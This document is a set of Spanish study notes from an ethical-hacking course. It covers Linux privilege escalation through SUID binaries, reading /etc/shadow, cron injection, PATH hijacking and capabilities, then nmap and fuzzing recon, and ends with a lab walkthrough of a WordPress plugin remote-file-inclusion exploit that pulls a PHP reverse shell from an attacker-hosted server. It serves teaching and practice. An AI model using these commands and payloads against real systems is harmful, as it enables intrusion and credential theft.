APUNTES SOBRE EL CURSO DE INTRODUCIÓN AL HACKING ÉTICO DE S4VITAR

Aclarar que las explotaciones que se muestran, en la gran mayoria, ya no son funcionales de la manera que él las explica (ya que són errores de seguridad para ganar acceso a root que ya han sido solucionados, en la versión actual de linux).
Por lo tanto, estos metodos se deben de tomar como simple práctica y conocimiento básico.

EXPLOTACIÓN Y ABUSO DE PRIVILEGIOS

Descripción:
Explotar archivos y servicios con privilegios SUID y detectar archivos críticos con permisos de escritura.

Proceso de Explotación:

1. **Búsqueda de Archivos con Privilegios SUID:**
    - Buscar archivos con privilegios SUID y redirigir errores a `/dev/null`:

```
find / -perm -4000 2>/dev/null
```

2. **Obtención del Método de Encriptado de Contraseñas:**
    - Mostrar el método de encriptado de las contraseñas de los usuarios:

```
cat /etc/shadow | grep "ENCRYPT_METHOD"
```

3. **Extracción del Hash de Contraseña:**
    - Extraer la contraseña encriptada de un usuario específico (ej. `raul`):

```
cat /etc/shadow | grep raul > hash
```

4. **Crackeo de Contraseñas con John the Ripper:**
    - Utilizar John the Ripper con la wordlist `rockyou.txt` para romper el hash:

```
john --wordlist=rockyou.txt hash
```

5. **Búsqueda de Archivos Escribibles en Directorios Críticos:**
    - Filtrar por archivos que se pueden escribir en el directorio `/etc`:

```
find / -writable 2>/dev/null | grep "etc"
```

6. **Modificación del Archivo `/etc/passwd`:**
    - Si es posible escribir en `/etc/passwd`, cambiar la contraseña hasheada (X) por un hash generado previamente:

```
openssl passwd -1 -salt <salt> <password>
```

7. **Acceso a la Cuenta Root:**
    - Usar `sudo su` y proporcionar la contraseña sin hashear para ganar acceso root.

DETECCIÓN DE TAREAS CRON A TRAVÉS DE UN SCRIPT EN BASH

Descripción:
Detectar tareas cron y abusar de archivos cron con permisos de escritura para escalar privilegios.

Proceso de Explotación:

8. **Listar Comandos en Ejecución:**
    - Utilizar `ps` para listar todos los comandos que se están ejecutando en tiempo real:

```
ps -eo command
```

9. **Creación de un Script de Monitoreo:**
    - Crear un script bash para mostrar comandos en ejecución, filtrando específicamente tareas cron:

```
#!/bin/bash

old=$(ps -eo command)
while true; do
    new=$(ps -eo command)
    diff <(echo "$old") <(echo "$new")
    old=$new
    sleep 1
done
```

10. **Detección de Archivos Cron Escribibles:**
    - Verificar si alguna de las tareas cron es escribible por otros:

```
find /etc/cron* /var/spool/cron* -type f -writable 2>/dev/null
```

11. **Modificación del Archivo Cron:**
    - Modificar el archivo cron escribible para asignar privilegios SUID a la bash:

```
echo "chmod 4755 /bin/bash" >> /ruta/del/archivo/cron
```

12. **Ejecutar Bash con Privilegios SUID:**
    - Cuando el sistema ejecute el archivo cron, obtener una shell con privilegios SUID:

```
bash -p
```

EXPLOTACIÓN DE UN PATH HIJACKING FRENTE A UN BINARIO SUID

Descripción:
Aprovechar la vulnerabilidad de path hijacking en un binario SUID para ejecutar comandos maliciosos con privilegios elevados.

Proceso de Explotación:

13. **Preparación del Entorno:**
    - Mostrar las diferentes rutas por las que el sistema busca los comandos:

```
echo $PATH
```

14. **Creación de un Archivo Ejecutable Malicioso:**
    - Crear un archivo llamado `whoami` en una ruta más prioritaria que `/usr/bin`:

```
export PATH=.:$PATH
```

15. **Inspección del Binario SUID:**
    - Utilizar `strings` para mostrar las cadenas de caracteres del binario y averiguar qué comandos se están ejecutando:

```
strings backup
```

16. **Modificación de la Prioridad de las Rutas:**
    - Modificar la prioridad de las rutas para que la ruta actual sea la más prioritaria:

```
export PATH=/tmp:$PATH
```

17. **Creación de un Script para Obtener una Shell:**
    - Crear un script en `/tmp` que lance una shell:

```
echo "bash -p" > /tmp/ps
chmod +x /tmp/ps
```

18. **Ejecución del Binario SUID:**
    - Ejecutar el binario SUID y obtener una shell con privilegios elevados.

EXPLOTACIÓN Y ABUSO DE LAS CAPABILITIES EN LINUX

Descripción:
Aprovechar las capabilities en Linux para obtener privilegios elevados de manera sigilosa.

Proceso de Explotación:

19. **Listado de Capabilities en el Sistema:**
    - Mostrar las capabilities definidas a nivel de sistema:

```
getcap -r / 2>/dev/null
```

20. **Asignación de Capabilities a un Binario:**
    - Asignar la capability `cap_setuid+ep` a `python3.8`:

```
setcap cap_setuid+ep /usr/bin/python3.8
```

21. **Ejecución de un Comando con Privilegios Elevados:**
    - Utilizar `python3.8` para ejecutar una shell como root:

```
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

22. **Remoción de la Capability:**

- Quitar la capability asignada a `python3.8`:

```
setcap -r cap_setuid+ep /usr/bin/python3.8
```

PENTESTING: 5 fases

Fases:

23. Reconocimiento inicial
24. Búsqueda de versiones y exploits
25. Explotación
26. Obtención de resultados
27. Documento ejecutivo y técnico (Auditorías)

FASE DE RECONOCIMIENTO INICIAL - ENUMERACIÓN DE PUERTOS CON NMAP

```
ping -c 1 10.0.2.2
```

Envía una trama ICMP a la dirección IP especificada (en este caso, el gateway del router). Si el TTL está cerca de 64, es una máquina Linux; si está cerca de 128, es una máquina Windows.

```
nmap 10.0.2.2 -p- --open -T5 -v -n -oG allPorts
```

La herramienta `nmap` permite escanear los puertos de una máquina objetivo. Los argumentos utilizados son:

- `-p-`: Escanea los 65535 puertos.
- `--open`: Muestra solo los puertos abiertos.
- `-T5`: Define el nivel de agresividad (cuanto más alto, más rápido y agresivo).
- `-v`: Modo verbose para mostrar los resultados en tiempo real.
- `-n`: No realiza resolución DNS.
- `-oG allPorts`: Exporta el resultado en formato grepable a un archivo llamado `allPorts`.

CREANDO UNA PEQUEÑA UTILIDAD EN BASH PARA EL FILTRADO DE PUERTOS

La utilidad mostrará la información más relevante del archivo `allPorts`, que contiene los puertos abiertos de una cierta dirección IP. Filtraremos utilizando expresiones regulares:

```
cat allPorts | grep -oP '\d{1,5}/open' | awk '{print $1}' FS= "/" | xargs | tr ' '
','
```

Para filtrar el output del archivo `allPorts`:

- `grep -oP '\d{1,5}/open'`: Imprime solo los números de 1 a 5 dígitos acompañados de `/open`.
- `awk '{print $1}' FS= "/"`: Muestra el primer argumento, delimitado por `/`.
- `xargs | tr ' ' ','`: Compacta todo en una sola línea y reemplaza espacios por comas.
- **Resultado:** `22,80,443,445`

```
cat allPorts | grep -oP '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}' | sort -u
```

Para listar las direcciones IP del archivo `allPorts` (IP de la víctima):

- `grep -oP '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}'`: Extrae las direcciones IP.
- `sort -u`: Elimina direcciones IP duplicadas.

Para utilizar la utilidad, modifica el archivo `.zshrc` (o `.bashrc` si usas bash), creando una función que aplique los filtrajes mencionados al archivo `allPorts`:

```
function extractPorts(){
    echo -e "\n${purpleColour}[*] Extracting information...${endColour}\n"
    ip_address=$(cat allPorts | grep -oP '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}' | sort -u
| head -n 1)
    open_ports=$(cat allPorts | grep -oP '\d{1,5}/open' | awk '{print $1}' FS="/" |
xargs | tr ' ' ',')

    echo -e "${redColour}[*] IP Address:
${endColour}${grayColour}$ip_address${endColour}"
    echo -e "${redColour}[*] Open Ports:
${endColour}${grayColour}$open_ports${endColour}\n"

    echo $open_ports | tr -d '\n' | xclip -sel clip
    echo -e "${purpleColour}[*] Ports copied to clipboard!${endColour}\n"
}
```

Para el correcto funcionamiento de los colores, añade las siguientes líneas al archivo:

```
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
```

De esta forma, utilizando el comando `extractPorts allPorts` se mostrará tanto la IP víctima como los puertos abiertos. Además, los puertos abiertos se copiarán al portapapeles.

DETECCIÓN DE VERSIÓN Y SERVICIOS CON NMAP

Vamos a lanzar una serie de scripts básicos de enumeración con `nmap`, para tratar de descubrir la versión y el servicio que corren los puertos abiertos.

```
nmap -sC -sV -p22,80 10.0.2.2 -oN targeted
```

- `-sC`: Detectar el servicio (script) que está corriendo.
- `-sV`: Detectar la versión.
- `-p22,80`: Puertos específicos a escanear.
- `10.0.2.2`: Dirección IP objetivo.
- `-oN targeted`: Exportar en formato nmap a un fichero llamado `targeted`.

Si encontramos el puerto 80 abierto (utilizado para las páginas web), podemos utilizar `whatweb` para ver la información más relevante.

```
whatweb http://10.10.10.188 2>/dev/null
```

Utilizamos `2>/dev/null` para la gestión de errores.

TÉCNICAS PARA AGILIZAR NUESTROS ESCANEOS CON NMAP

En algunas ocasiones, con la configuración anterior, el escaneo de `nmap` puede llevar bastante tiempo en completarse. Vamos a proponer otra configuración para tratar de solventar este problema. Una posible solución sería:

```
nmap --top-ports 5000 --open -T5 -v -n 10.10.10.11
```

- Escanea solo los 5000 puertos más relevantes, lo que puede ser una buena solución aunque es posible que se deje algún puerto abierto sin escanear.

Otra solución sería (TCP-SYN scan):

```
nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- 10.10.10.11
```

- `-sS`: Tipo de escaneo TCP-SYN.
- `--min-rate 5000`: Emitir paquetes a una tasa no menor de 5000 paquetes/s.
- `-Pn`: No aplicar host discovery (protocolo ARP).

CREACIÓN DE HERRAMIENTA EN BASH PARA LA DETECCIÓN DE PUERTOS TCP ABIERTOS

Para detectar puertos abiertos de una forma más discreta que con `nmap`, podríamos crear un script en bash llamado `portScan` que sea capaz de detectar los puertos abiertos mediante el protocolo TCP de forma manual.

Para ello, nos aprovechamos de un concepto que nos permitirá saber si un puerto de una cierta dirección IP está abierto o no.

```
bash -c "echo ' ' > /dev/tcp/10.0.2.2/port"
```

Lo que estamos haciendo es mandar un espacio vacío mediante TCP a la IP y puerto indicado. Si lo enviamos a un puerto que está abierto, no hace nada; en cambio, cuando lo enviamos a un puerto cerrado, nos aparece un mensaje de error. Para comprobarlo:

```
echo $?
```

Si nos muestra un 0, el comando anterior ha tenido éxito (el puerto está abierto), y si nos muestra un 1, no ha tenido éxito (el puerto está cerrado).

Aprovechando esto, podemos crear el siguiente script en bash para detectar puertos abiertos mediante TCP:

```
#!/bin/bash

# ./portScan.sh <ip-address>

# Colours
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"

if [ $1 ]; then
    ip_address=$1
    for port in $(seq 1 65535); do
        timeout 1 bash -c "echo ' ' > /dev/tcp/$ip_address/$port" && echo -e "[*]
Port ${redColour}$port${endColour} - ${greenColour}OPEN${endColour}" &
    done; wait
else
    echo -e "\n[*] Use: .portScan.sh <ip_address>\n"
    exit 1
fi
```

Combinamos el comando visto anteriormente con `&&` para que nos imprima el puerto abierto. El `&` final marca que utilice varios hilos, de forma que todas las peticiones salgan a la vez y no se tengan que esperar entre ellas.

CREACIÓN DE HERRAMIENTA EN BASH PARA EL DESCUBRIMIENTO DE EQUIPOS EN LA RED

Como en el ejemplo anterior, podemos utilizar `nmap` para el reconocimiento de máquinas en un segmento de red, pero es muy ruidoso. Por lo tanto, merece la pena que tengamos nuestro propio script. De forma similar al ejemplo anterior, nos aprovecharemos de un concepto en concreto. En este caso, si enviamos un ping a una dirección IP, esta nos contesta y el comando `echo $?` nos mostrará un 0. De forma contraria, si no nos contesta, nos devolverá un 1. Podemos crear el siguiente script:

```
#!/bin/bash

# Colours
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
purpleColour="\e[0;35m\033[1m"
redColour="\e[0;31m\033[1m"

for i in $(seq 2 254); do
    timeout 1 bash -c "ping -c 1 10.0.2.$i > /dev/null 2>&1" && echo -e
"${redColour}[*]${endColour} ${purpleColour}Host 10.0.2.$i${endColour} -
```

```
${greenColour}ACTIVE${endColour}" &
done; wait
```

- `> /dev/null 2>&1`: Se utiliza para que no se muestre el output del comando, de forma que solo veamos el mensaje.
- El ejemplo está hecho con la dirección `10.0.2/24`, pero podemos modificarla según necesitemos e incluso poner un doble bucle para buscar en una red `/16`, por ejemplo.

RECONOCIMIENTO A TRAVÉS DE LOS SCRIPTS QUE INCORPORA NMAP POR CATEGORÍA

Anteriormente hemos hablado de utilizar scripts básicos de enumeración con el parámetro `-sC`, pero ¿dónde se encuentran esos scripts y qué categoría tienen? Lo podemos hacer con los siguientes comandos:

```
updatedb
```

Para sincronizar todos los archivos existentes a nivel de sistema en una base de datos.

```
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
```

- Una vez actualizado, con `locate` muestra la ruta absoluta de un archivo. En este caso, nos interesan los archivos con extensión `.nse` que son los scripts de `nmap`.
- Paralelamente, con `xargs` ejecutamos `grep` para cada script y extraemos su categoría.
- `grep -oP '".*?"'`: Filtra por expresiones regulares para mostrar toda la información entre comillas (el nombre de la categoría).
- `sort -u`: Ordena de forma única.

Hay un total de 14 categorías y sabiendo sus nombres podemos utilizarlos para lanzar una serie de scripts de una categoría en concreto. Por ejemplo:

```
nmap -p445 10.10.10.40 --script "vuln and safe" -oN smbScan
```

Para el puerto 445 (samba) estamos lanzando una serie de scripts de la categoría `vuln` y `safe` y exportando a un archivo llamado `smbScan` en formato nmap. Como vemos, las categorías se pueden fusionar con un `and` o un `or`.

USO DE SCRIPTS ESPECÍFICOS DE NMAP Y USO DE ANALIZADORES DE TRÁFICO

`Nmap`, aparte de la enumeración de servicios, también te permite, entre otras cosas, listar directorios que puedan existir en el servidor web (incluidos archivos). ¿Cómo hacemos esto? Mediante scripts:

```
nmap -p80 10.10.10.188 --script http-enum -oN webScan
```

- Utilizamos el script `http-enum` (fuzzing). Básicamente, este script envía peticiones al servidor web de directorios o archivos que puedan existir (método GET) utilizando un diccionario interno

de `nmap`. Gracias al código que nos retorne el servidor a esta petición (`403 ERROR` o `200 OK`), sabremos si el directorio o archivo existe en el servidor web.

Una forma de saber qué está pasando por detrás cuando ejecutamos este script es utilizando `tcpdump`:

```
tcpdump -i tun0 -w Captura.cap -v
```

Escucha el tráfico que pasa por la interfaz indicada y exporta el output en el fichero `Captura.cap`.

Para interpretar esta captura, podemos utilizar `tshark` (wireshark sin interfaz gráfica) y aplicar filtros para averiguar qué diccionario interno está utilizando `nmap`:

```
tshark -r Captura.cap -Y "http" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r |
grep "GET" | awk '{print $2}' | sort -u
```

- Se aplican varios filtros, primero por peticiones web `http`.
- Con `-Tfields -e` aplicamos otro filtro del campo que nos interese (podemos saber los diferentes campos haciendo una pequeña búsqueda antes con el parámetro `-Tjson`).
- Como este campo está codificado en hexadecimal, utilizamos `xxd` con los parámetros `-ps -r` para hacer el 'reverse' de la codificación y que de esta forma sea legible.
- Una vez decodificado, aplicamos otro filtro para que solo nos interesen las peticiones `GET` y utilizamos `awk` para que nos muestre solamente el segundo parámetro.
- `sort -u`: Ordena de forma única.

USO DE WIRESHARK PARA EL ANÁLISIS DE TRÁFICO EN LA RED

`Wireshark` es similar a `tshark` pero con interfaz gráfica, lo que lo hace un poco más fácil de manejar a pesar de sus limitaciones. Para poder abrir `wireshark` desde la terminal como un programa independiente, ejecutamos los siguientes comandos:

```
wireshark Captura.cap > /dev/null 2>&1 &
disown
```

- Redirige el stderr output a `dev/null`.
- Con `&` lo hacemos un proceso aislado a la terminal.
- Finalmente, para que el proceso no muera al cerrar la terminal (ya que `wireshark` es el proceso hijo), ejecutamos `disown`.

CREACIÓN DE SCRIPT EN PYTHON3 PARA IDENTIFICAR EL SISTEMA OPERATIVO

Crearemos una utilidad en `python3` que, al proporcionar la dirección IP como parámetro, nos muestre el sistema operativo de la víctima. Esto se puede hacer mediante el campo `TTL` (64 en Linux y 128 en Windows) cuando lanzamos un ping. Es recomendable tener conocimientos básicos de Python para realizar este tipo de scripts.

```
#!/usr/bin/python3
import re, sys, subprocess

# usage: $ python3 whichSystem.py <ip>

if len(sys.argv) != 2:
    print("\n[!] Usage: python3 " + sys.argv[0] + " <direccion-ip>\n")
    sys.exit(1)

def is_valid_ip(ip_address):
    # Utilizamos una expresión regular para verificar el formato de la dirección IP
    ip_pattern = r"^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$"
    return re.match(ip_pattern, ip_address) is not None

def get_ttl(ip_address):
    if not is_valid_ip(ip_address):
        print("\n[!] Dirección IP no válida. Por favor, introduzca una dirección IP
válida.\n")
        sys.exit(1)

    proc = subprocess.Popen(["/usr/bin/ping -c 1 %s" % ip_address, ""],
stdout=subprocess.PIPE, shell=True)
    (out, err) = proc.communicate()
    out = out.split()
    out = out[12].decode('utf-8')
    ttl_value = re.findall(r"\d{1,3}", out)[0]

    return ttl_value

def get_os(ttl):
    ttl = int(ttl)
    if ttl >= 0 and ttl <= 64:
        return "Linux"
    elif ttl >= 65 and ttl <= 128:
        return "Windows"
    elif ttl >= 129 and ttl <= 254:
        return "Solaris/AIX"
    else:
        return "Not Found"

if __name__ == '__main__':
    ip_address = sys.argv[1]
    ttl = get_ttl(ip_address)
    os_name = get_os(ttl)
    print("\n[*] %s (ttl -> %s): %s\n" % (ip_address, ttl, os_name))
```

A grandes rasgos, vemos cómo lanzamos un ping a la dirección IP pasada por parámetro y después aplicamos una serie de filtros para quedarnos solamente con el valor del `TTL`. Con este valor podemos determinar qué SO tiene la máquina víctima.

Una vez que tenemos nuestro script, le damos permisos de ejecución y lo podemos poner en alguna ruta del `PATH` para poder mencionarlo desde una ruta relativa. Por ejemplo, lo podemos mover a `/usr/bin`.

USO DE WFUZZ PARA HACER FUZZING

Fuzzing

El fuzzing es la técnica utilizada para encontrar rutas dentro de un servidor web. Anteriormente, ya hemos utilizado un script de nmap para hacer fuzzing (`http-enum`), pero no es una herramienta especializada en el fuzzing. Si queremos profundizar un poco más, tendremos que utilizar otras herramientas, como `Wfuzz`.

```
wfuzz -c -L -t 400 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://@IP/FUZZ
```

- **Parámetros**:
    - `-c`: Muestra el output en formato colorizado.
    - `-L`: Sigue los redireccionamientos (`follow-redirect`), ahorrándonos los códigos 301 y mostrando el estado final de la petición (código 200).
    - `-t`: Especifica los threads (cuántas peticiones se hacen simultáneamente).
    - `--hc=404`: En el output no se muestran las peticiones con el código de error 404 (`hc` = `hide code`).
    - `-w`: Especifica el diccionario a utilizar, el cual contiene muchos nombres de directorios que se probarán por fuerza bruta.
    - El fuzzing se hace contra la dirección IP indicada y con `/FUZZ` indicamos dónde queremos que se sustituyan las palabras del diccionario.

Podemos usar varios filtros al mismo tiempo, por ejemplo `--sc=200 --hl=170` (`sc` = `show code`). Hay muchos más filtros (por líneas, palabras, caracteres...) que se pueden consultar con el manual.

Fuzzing de Extensiones de Archivo con WFUZZ (Uso de Múltiples Payloads)

Para comprobar qué tipo de archivos tiene la víctima, usamos otro diccionario:

```
wfuzz -c -L -t 400 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt https://@IP/FUZZ.FU2ZZ
```

- **Extensiones.txt**: Un archivo creado por nosotros que contiene las extensiones que queremos comprobar.
- Con `/FUZZ.FU2ZZ`, para cada palabra del primer diccionario buscamos si tiene algunas de las extensiones del segundo diccionario.
- `Wfuzz` cuenta con su propio User-Agent, que se puede modificar con el parámetro `-H "User-Agent: Google Chrome"`. Incluso se pueden utilizar cookies de sesión para aplicar fuzzing a recursos internos de un panel, ya estando autenticados.

USO DE DIRBUSTER PARA HACER FUZZING

`Dirbuster` tiene el mismo propósito que `Wfuzz` pero, igual que `Wireshark`, tiene una interfaz gráfica. Para abrir `Dirbuster` lo haremos del mismo modo que hacíamos con `Wireshark`:

```
dirbuster > /dev/null 2>&1 &
disown
```

A modo de recordatorio, redirigimos el stderr output al `dev/null` y con `&` lo hacemos un proceso aislado a la terminal. Finalmente, para que el proceso no muera al cerrar la terminal (ya que `dirbuster` es el proceso hijo) ejecutamos `disown`.

Si haciendo fuzzing encontramos, por ejemplo, un directorio con varios archivos, podemos hacer lo siguiente:

```
wget -r http://IP/<nombre-directorio>
```

Para descargar todos los archivos que haya en el directorio de forma recursiva. Una vez descargados todos los archivos, podemos hacer búsquedas recursivas por palabras clave para encontrar información relevante. Ejemplo:

```
grep -r -E -i "pass|user|key|database" | less -S
```

- **Parámetros**:
    - `-r`: De forma recursiva.
    - `-E`: Para diversos campos.
    - `-i`: Sin atender a mayúsculas o minúsculas.
    - `less -S`: Para que no haya saltos de línea y sea más legible el output.

USO DE DIRB PARA HACER FUZZING

`Dirb` es una herramienta para hacer fuzzing un poco más sencilla que las anteriores. No tiene hilos de ejecución, por lo que puede ir un poco lenta. Si no especificamos un diccionario, utilizará uno interno (el cual se muestra cuando se ejecuta la herramienta), pero este es muy pequeño, por lo que se recomienda utilizar el de `dirbuster`, por ejemplo:

```
dirb https://IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

USO DE GOBUSTER PARA HACER FUZZING

`Gobuster` es una herramienta hecha en el lenguaje de programación 'Go' y trabaja muy bien con sockets y conexiones, por lo que es bastante potente. Con el comando `gobuster` se puede ver un poco de información de los parámetros que admite la herramienta, ya que en este caso no tenemos manual.

```
gobuster dir -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -
-url https://IP
```

- **Parámetros**:
    - `dir`: Modo de fuerza bruta por directorio o archivo.
    - `-t`: Indica los hilos de ejecución.
    - `-w`: Indica el diccionario.

- `--url`: Indica la dirección IP.

Un punto positivo de esta herramienta es que muestra la barra de progreso, lo que nos da un tiempo estimado de ejecución.

USO DE DIRSEARCH PARA HACER FUZZING

`Dirsearch` no es una herramienta predeterminada, por lo que hay que descargarla desde GitHub. Esta herramienta permite jugar con muchos parámetros, lo que la hace muy útil y cómoda.

```
./dirsearch.py -u https://IP -E -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

- **Parámetros**:
  - `-u`: Indica la URL.
  - `-w`: Indica el diccionario.
  - `-E`: Utiliza un diccionario de extensiones por defecto.

Como vimos en `Wfuzz`, esta herramienta también permite jugar con las cookies para aplicar fuzzing a recursos internos estando ya autenticados, cambiar los headers o aplicar filtros. Es una herramienta que ofrece mucha versatilidad. `Wfuzz` y `dirsearch` son las herramientas más completas para hacer fuzzing.

TÉCNICAS DE ENUMERACIÓN BAJO UN SERVIDOR WEB

Según el gestor de contenido (WordPress, Drupal...), lo más probable es que tengamos que utilizar herramientas específicas que escanean este gestor de contenido en concreto.

Un ejemplo, en una página web con un gestor de contenido WordPress, hacemos `Ctrl+U` para ver el código fuente. Si vemos que las imágenes hacen alusión a una misma dirección que es la que tiene el contenido, podemos pensar en un concepto llamado `Virtual Host Routing`, que permite contar con múltiples servidores virtuales web desde una misma máquina, en función del dominio especificado nos carga una web distinta.

Ante esta situación, podemos modificar el archivo `/etc/hosts`:

```
127.0.0.1   localhost
127.0.1.1   parrot

IP         <dominio>
```

De esta forma, cualquier consulta que se realice al dominio indicado se resuelve a la IP indicada. Si podemos acceder a la dirección que tiene el contenido de las imágenes, es que se estaba haciendo uso del `Virtual Host Routing` y lo hemos explotado.

Ahora nos gustaría saber si el servidor web contiene un `WAF` (Web Application Firewall). Este es un tipo de firewall que filtra o bloquea el tráfico HTTP hacia y desde la aplicación web. Podemos utilizar herramientas como `Wafw00f <ip>` para saber si la web tiene un `WAF`.

Para cada gestor de contenido existen diferentes herramientas para efectuar un reconocimiento. Es nuestro trabajo buscar esas herramientas y documentarnos para aprender a utilizarlas. En este caso, estamos frente a un WordPress, por lo que podríamos utilizar `Wpscan`:

```
wpscan --url "http://IP" -e vp,u
```

- **Parámetros**:
    - `--url`: Indica el dominio de la página, ya sea mediante la IP o el nombre.
    - `-e vp,u`: Enumera plugins vulnerables (`vulnerable plugins`) y usuarios existentes en el gestor de contenido.

La herramienta realiza un reconocimiento sobre el gestor de contenido y trata de informar por consola si hay vulnerabilidades potenciales. Aunque el gestor de contenido esté actualizado a su última versión, si utiliza un plugin desactualizado puede ser vulnerable. Hay muchas herramientas de reconocimiento que podemos encontrar vía internet que también hacen muy buen trabajo. Algunas son más generales, como `nikto`, `openVAS` o `nessus`, y otras más especializadas en un gestor de contenido, como ya hemos visto.

Por ejemplo, `WPSeku` es otra herramienta de escaneo para WordPress, disponible vía GitHub y su funcionamiento sería el siguiente:

```
python3 wpseku.py -u http://<dominio>
```

Escaneo básico, solamente especificamos la URL.

HACKEANDO NUESTRA PRIMERA MÁQUINA (RFI)

Hasta este punto ya hemos visto la metodologia para enumerar puertos, servicios que corren bajo estos puertos, versiones... Con esto, detallaremos cómo un atacante puede hackear una máquina Linux con un servidor web y varios gestores de contenido. Supondremos que la IP víctima es `10.10.10.88`.

Preparativos

1. **Verificar Conectividad**:

    ```
    ping -c 1 10.10.10.88
    ```

    Verificamos si la máquina está activa y responde. Puede que el ping esté desactivado, en cuyo caso, utilizaremos TCP o UDP.

2. **Identificar Sistema Operativo**:

    ```
    whichSystem 10.10.10.88
    ```

    Ejecutamos un script que nos indica el sistema operativo de la víctima. En este caso, es Linux.

3. **Crear Directorios de Trabajo**:

    ```
    mkdir TartaSauce
    cd TartaSauce
    mkt
    ```

    Creamos un directorio con el nombre de la máquina víctima y subdirectorios (`Content`, `exploits`, `nmap`, `scripts`, `tmp`) usando una función personalizada.

Fase de Reconocimiento

4. **Escaneo de Puertos**:

```
nmap -p- --open -T5 -v -n 10.10.10.88 -oG allPorts
extratPorts allPorts
```

Realizamos un escaneo de todos los puertos abiertos y los exportamos en formato grepable al fichero `allPorts`. Extraemos los puertos abiertos y los copiamos al portapapeles. En este caso, solo el puerto 80 está abierto.

5. **Identificación de Servicios**:

```
whatweb https://10.10.10.88 2>/dev/null
nmap -sC -sV -p80 10.10.10.88 -oN targeted
```

Con `whatweb`, obtenemos información relevante del servidor web. Luego, lanzamos scripts básicos de enumeración con `nmap` para averiguar la versión del servidor web y exportamos los resultados al fichero `targeted`.

6. **Escaneo HTTP**:

```
nmap --script http-enum -p80 10.10.10.88 -oN webScan
```

Antes de aplicar fuzzing con herramientas especializadas, lanzamos el script `http-enum` y exportamos los resultados al fichero `webScan`.

7. **Fuzzing para Encontrar Directorios**:

```
wfuzz -c -L -t 400 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt https://10.10.10.88/webservices/FUZZ
```

Utilizamos Wfuzz para hacer un ataque de fuerza bruta con diccionarios, apuntando al directorio `webservices` encontrado en `robots.txt`.

Acceso a WordPress

8. **Escaneo de WordPress**:

```
wpscan --url "https://10.10.10.88/webservices/wp/" -e vp,u
```

Realizamos un escaneo general del gestor de contenido para enumerar plugins vulnerables y usuarios. Si no obtenemos información relevante, continuamos manualmente.

9. **Fuzzing para Plugins**:

```
wfuzz -c -L -t 400 --hc=404 -w wp-plugins.fuzz.txt
https://10.10.10.88/webservices/wp/FUZZ
```

Utilizamos un diccionario de plugins de WordPress (`wp-plugins.fuzz.txt`) para identificar plugins instalados.

Fase de Explotación de Vulnerabilidades

10. **Buscar Exploit**:

```
searchsploit gwolle
searchsploit -x php/webapps/38861.txt
```

Usamos Searchsploit para buscar un exploit del plugin identificado. En este caso, encontramos un exploit de tipo Remote File Inclusion (RFI).

11. **Preparar y Ejecutar el Exploit**:
    - **Preparar Shell Reversa**:

```
mv php-reverse-shell.php wp-load.php
```

    - **Compartir el Archivo PHP**:

```
python -m SimpleHTTPServer 80
```

    - **Poner en Escucha**:

```
nc -nlvp 443
```

    - **Lanzar Exploit**:

```
curl "https://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.18"
```

      Desde un servidor web alojando `wp-load.php`, lanzamos el exploit para obtener una reverse shell.

Tratamiento de la TTY

12. **Obtener Pseudo-Consola**:

```
script /dev/null -c bash
```

    Lanzamos una pseudo-consola.

13. **Configurar Terminal**:
    - **Dejar en Segundo Plano**:

```
Ctrl+Z
```

    - **Configurar Terminal**:

```
stty raw -echo
fg
reset
```

      Introducimos `reset` y seleccionamos `xterm` como tipo de terminal.

    - **Establecer Variables de Entorno**:

```
export TERM=xterm
export SHELL=bash
```

14. **Ajustar Proporciones de la Terminal**:

```
stty -a
stty rows 52 columns 187
```

    Ajustamos las proporciones de la terminal para tener una shell interactiva y cómoda.

Este proceso nos permite hackear la máquina víctima, ganar acceso no privilegiado y configurar la terminal para trabajar de forma eficiente.

USO DE SEARCHSPLOIT Y EXPLOIT-DB PARA LA BÚSQUEDA DE VULNERABILIDADES

Introducción

Searchsploit es una herramienta que se comunica con la página de exploit-db, una fuente centralizada donde se alojan exploits de todo tipo. Todo lo que aparece en la página web puede ser consultado desde la consola utilizando searchsploit.

Instalación y Actualización

15. **Instalar Searchsploit**:

```
apt install exploitdb -y
```

16. **Actualizar la Base de Datos**:

```
searchsploit -u
```

Uso de Searchsploit

17. **Buscar Exploits**:

```
searchsploit Http File Server
```

    Este comando busca exploits relacionados con "Http File Server".

18. **Obtener URL de Exploit-DB**:

```
searchsploit Http File Server -w
```

    Este comando muestra la dirección URL de exploit-db para consultas web.

19. **Ver Código Fuente del Exploit**:

```
searchsploit -x <identificador>
```

20. **Mover Exploit al Directorio Actual**:

```
searchsploit -m <identificador>
```

    Mueve el exploit con el identificador dado al directorio de trabajo actual.

DIFERENCIA ENTRE VULNERABILIDADES LOCALES Y REMOTAS

Vulnerabilidad Remota

Un exploit que se ejecuta de manera remota desde la máquina del atacante hacia la máquina víctima, sin necesidad de tener acceso interactivo a la máquina víctima.

Vulnerabilidad Local

Un exploit que se ejecuta localmente en la máquina víctima, como una escalada de privilegios. Esto se realiza normalmente después de comprometer la máquina con un usuario de bajos privilegios.

USO DE LA HERRAMIENTA METASPLOIT

Introducción

